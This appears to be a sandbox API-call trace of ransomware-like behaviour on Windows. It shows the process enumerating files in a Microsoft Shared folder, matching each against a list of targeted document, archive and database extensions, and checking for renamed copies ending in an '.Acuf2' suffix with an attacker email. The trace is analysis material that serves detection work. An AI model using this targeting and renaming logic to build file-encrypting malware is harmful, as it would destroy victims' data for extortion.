	[0041.881] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0041.881] lstrlenW (lpString=".xls") returned 4
	[0041.881] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0041.881] lstrlenW (lpString=".xlsx") returned 5
	[0041.881] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1
	[0041.881] lstrlenW (lpString=".ppt") returned 4
	[0041.881] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0041.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0041.881] lstrlenW (lpString=".zip") returned 4
	[0041.881] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0041.881] lstrlenW (lpString=".rar") returned 4
	[0041.881] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0041.882] lstrlenW (lpString=".bz2") returned 4
	[0041.882] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0041.882] lstrlenW (lpString=".7z") returned 3
	[0041.882] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0041.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0041.882] lstrlenW (lpString=".dbf") returned 4
	[0041.882] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0041.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0041.882] lstrlenW (lpString=".1cd") returned 4
	[0041.882] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0041.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0041.882] lstrlenW (lpString=".jpg") returned 4
	[0041.882] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0041.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0041.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0041.882] lstrlenW (lpString=".doc") returned 4
	[0041.882] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0041.882] lstrlenW (lpString=".docx") returned 5
	[0041.882] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1
	[0041.882] lstrlenW (lpString=".pdf") returned 4
	[0041.882] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0041.882] lstrlenW (lpString=".xls") returned 4
	[0041.882] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0041.882] lstrlenW (lpString=".xlsx") returned 5
	[0041.882] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1
	[0041.882] lstrlenW (lpString=".ppt") returned 4
	[0041.882] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0041.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0041.882] lstrlenW (lpString=".zip") returned 4
	[0041.882] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0041.882] lstrlenW (lpString=".rar") returned 4
	[0041.883] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0041.883] lstrlenW (lpString=".bz2") returned 4
	[0041.883] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0041.883] lstrlenW (lpString=".7z") returned 3
	[0041.883] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0041.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0041.883] lstrlenW (lpString=".dbf") returned 4
	[0041.883] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0041.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0041.883] lstrlenW (lpString=".1cd") returned 4
	[0041.883] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0041.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0041.883] lstrlenW (lpString=".jpg") returned 4
	[0041.883] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0041.883] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0041.883] lstrlenW (lpString="ipsita.xml") returned 10
	[0041.883] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0043.757] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=2526) returned 1
	[0043.757] CloseHandle (hObject=0x158) returned 1
	[0043.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml")) returned 0x20
	[0043.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0043.758] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0043.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61
	[0043.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61
	[0043.758] lstrlenW (lpString=".doc") returned 4
	[0043.758] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0043.758] lstrlenW (lpString=".docx") returned 5
	[0043.758] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0043.758] lstrlenW (lpString=".pdf") returned 4
	[0043.758] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0043.758] lstrlenW (lpString=".xls") returned 4
	[0043.758] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0043.758] lstrlenW (lpString=".xlsx") returned 5
	[0043.758] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0043.758] lstrlenW (lpString=".ppt") returned 4
	[0043.758] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0043.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61
	[0043.758] lstrlenW (lpString=".zip") returned 4
	[0043.758] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0043.758] lstrlenW (lpString=".rar") returned 4
	[0043.758] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0043.758] lstrlenW (lpString=".bz2") returned 4
	[0043.758] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0043.758] lstrlenW (lpString=".7z") returned 3
	[0043.758] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0043.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61
	[0043.758] lstrlenW (lpString=".dbf") returned 4
	[0043.758] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0043.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61
	[0043.759] lstrlenW (lpString=".1cd") returned 4
	[0043.759] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0043.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61
	[0043.759] lstrlenW (lpString=".jpg") returned 4
	[0043.759] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0043.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61
	[0043.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61
	[0043.759] lstrlenW (lpString=".doc") returned 4
	[0043.759] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0043.759] lstrlenW (lpString=".docx") returned 5
	[0043.759] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0043.759] lstrlenW (lpString=".pdf") returned 4
	[0043.759] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0043.759] lstrlenW (lpString=".xls") returned 4
	[0043.759] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0043.759] lstrlenW (lpString=".xlsx") returned 5
	[0043.759] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0043.759] lstrlenW (lpString=".ppt") returned 4
	[0043.759] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0043.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61
	[0043.759] lstrlenW (lpString=".zip") returned 4
	[0043.759] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0043.759] lstrlenW (lpString=".rar") returned 4
	[0043.759] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0043.759] lstrlenW (lpString=".bz2") returned 4
	[0043.759] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0043.759] lstrlenW (lpString=".7z") returned 3
	[0043.759] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0043.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61
	[0043.759] lstrlenW (lpString=".dbf") returned 4
	[0043.759] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0043.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61
	[0043.760] lstrlenW (lpString=".1cd") returned 4
	[0043.760] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0043.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml") returned 61
	[0043.760] lstrlenW (lpString=".jpg") returned 4
	[0043.760] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0043.760] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0043.760] lstrlenW (lpString="ipssrb.xml") returned 10
	[0043.760] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0043.760] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=2568) returned 1
	[0043.760] CloseHandle (hObject=0x158) returned 1
	[0043.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml")) returned 0x20
	[0043.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0043.761] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0043.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61
	[0043.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61
	[0043.761] lstrlenW (lpString=".doc") returned 4
	[0043.761] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0043.761] lstrlenW (lpString=".docx") returned 5
	[0043.761] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1
	[0043.761] lstrlenW (lpString=".pdf") returned 4
	[0043.761] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0043.761] lstrlenW (lpString=".xls") returned 4
	[0043.761] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0043.761] lstrlenW (lpString=".xlsx") returned 5
	[0043.761] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1
	[0043.761] lstrlenW (lpString=".ppt") returned 4
	[0043.761] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0043.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61
	[0043.761] lstrlenW (lpString=".zip") returned 4
	[0043.761] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0043.761] lstrlenW (lpString=".rar") returned 4
	[0043.761] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0043.761] lstrlenW (lpString=".bz2") returned 4
	[0043.761] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0043.761] lstrlenW (lpString=".7z") returned 3
	[0043.761] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0043.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61
	[0043.761] lstrlenW (lpString=".dbf") returned 4
	[0043.761] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0043.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61
	[0043.761] lstrlenW (lpString=".1cd") returned 4
	[0043.762] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0043.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61
	[0043.762] lstrlenW (lpString=".jpg") returned 4
	[0043.762] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0043.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61
	[0043.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61
	[0043.762] lstrlenW (lpString=".doc") returned 4
	[0043.762] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0043.762] lstrlenW (lpString=".docx") returned 5
	[0043.762] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1
	[0043.762] lstrlenW (lpString=".pdf") returned 4
	[0043.762] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0043.762] lstrlenW (lpString=".xls") returned 4
	[0043.762] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0043.762] lstrlenW (lpString=".xlsx") returned 5
	[0043.762] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1
	[0043.762] lstrlenW (lpString=".ppt") returned 4
	[0043.762] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0043.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61
	[0043.762] lstrlenW (lpString=".zip") returned 4
	[0043.762] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0043.762] lstrlenW (lpString=".rar") returned 4
	[0043.762] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0043.762] lstrlenW (lpString=".bz2") returned 4
	[0043.762] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0043.762] lstrlenW (lpString=".7z") returned 3
	[0043.762] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0043.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61
	[0043.762] lstrlenW (lpString=".dbf") returned 4
	[0043.762] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0043.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61
	[0043.763] lstrlenW (lpString=".1cd") returned 4
	[0043.763] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0043.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml") returned 61
	[0043.763] lstrlenW (lpString=".jpg") returned 4
	[0043.763] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0043.763] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0043.763] lstrlenW (lpString="ipssrl.xml") returned 10
	[0043.763] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0043.763] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=2596) returned 1
	[0043.763] CloseHandle (hObject=0x158) returned 1
	[0043.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml")) returned 0x20
	[0043.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0043.764] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0043.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61
	[0043.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61
	[0043.764] lstrlenW (lpString=".doc") returned 4
	[0043.764] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0043.764] lstrlenW (lpString=".docx") returned 5
	[0043.764] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1
	[0043.764] lstrlenW (lpString=".pdf") returned 4
	[0043.764] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0043.764] lstrlenW (lpString=".xls") returned 4
	[0043.764] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0043.764] lstrlenW (lpString=".xlsx") returned 5
	[0043.764] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1
	[0043.764] lstrlenW (lpString=".ppt") returned 4
	[0043.764] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0043.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61
	[0043.764] lstrlenW (lpString=".zip") returned 4
	[0043.764] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0043.764] lstrlenW (lpString=".rar") returned 4
	[0043.764] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0043.764] lstrlenW (lpString=".bz2") returned 4
	[0043.764] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0043.764] lstrlenW (lpString=".7z") returned 3
	[0043.764] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0043.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61
	[0043.764] lstrlenW (lpString=".dbf") returned 4
	[0043.764] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0043.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61
	[0043.764] lstrlenW (lpString=".1cd") returned 4
	[0043.765] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0043.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61
	[0043.765] lstrlenW (lpString=".jpg") returned 4
	[0043.765] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0043.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61
	[0043.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61
	[0043.765] lstrlenW (lpString=".doc") returned 4
	[0043.765] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0043.765] lstrlenW (lpString=".docx") returned 5
	[0043.765] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1
	[0043.765] lstrlenW (lpString=".pdf") returned 4
	[0043.765] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0043.765] lstrlenW (lpString=".xls") returned 4
	[0043.765] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0043.765] lstrlenW (lpString=".xlsx") returned 5
	[0043.765] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1
	[0043.765] lstrlenW (lpString=".ppt") returned 4
	[0043.765] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0043.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61
	[0043.765] lstrlenW (lpString=".zip") returned 4
	[0043.765] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0043.765] lstrlenW (lpString=".rar") returned 4
	[0043.765] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0043.765] lstrlenW (lpString=".bz2") returned 4
	[0043.765] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0043.765] lstrlenW (lpString=".7z") returned 3
	[0043.765] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0043.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61
	[0043.765] lstrlenW (lpString=".dbf") returned 4
	[0043.765] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0043.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61
	[0043.766] lstrlenW (lpString=".1cd") returned 4
	[0043.766] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0043.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61
	[0043.766] lstrlenW (lpString=".jpg") returned 4
	[0043.766] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0043.766] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0043.766] lstrlenW (lpString="ipssve.xml") returned 10
	[0043.766] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0043.766] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=2520) returned 1
	[0043.766] CloseHandle (hObject=0x158) returned 1
	[0043.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml")) returned 0x20
	[0043.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0043.766] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0043.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61
	[0043.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61
	[0043.767] lstrlenW (lpString=".doc") returned 4
	[0043.767] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0043.767] lstrlenW (lpString=".docx") returned 5
	[0043.767] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0043.767] lstrlenW (lpString=".pdf") returned 4
	[0043.767] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0043.767] lstrlenW (lpString=".xls") returned 4
	[0043.767] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0043.767] lstrlenW (lpString=".xlsx") returned 5
	[0043.767] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0043.767] lstrlenW (lpString=".ppt") returned 4
	[0043.767] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0043.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61
	[0043.767] lstrlenW (lpString=".zip") returned 4
	[0043.767] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0043.767] lstrlenW (lpString=".rar") returned 4
	[0043.767] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0043.767] lstrlenW (lpString=".bz2") returned 4
	[0043.767] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0043.767] lstrlenW (lpString=".7z") returned 3
	[0043.767] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0043.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61
	[0043.767] lstrlenW (lpString=".dbf") returned 4
	[0043.767] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0043.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61
	[0043.767] lstrlenW (lpString=".1cd") returned 4
	[0043.767] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0043.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61
	[0043.767] lstrlenW (lpString=".jpg") returned 4
	[0043.768] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0043.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61
	[0043.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61
	[0043.768] lstrlenW (lpString=".doc") returned 4
	[0043.768] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0043.768] lstrlenW (lpString=".docx") returned 5
	[0043.768] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0043.768] lstrlenW (lpString=".pdf") returned 4
	[0043.768] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0043.768] lstrlenW (lpString=".xls") returned 4
	[0043.768] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0043.768] lstrlenW (lpString=".xlsx") returned 5
	[0043.768] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0043.768] lstrlenW (lpString=".ppt") returned 4
	[0043.768] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0043.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61
	[0043.768] lstrlenW (lpString=".zip") returned 4
	[0043.768] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0043.768] lstrlenW (lpString=".rar") returned 4
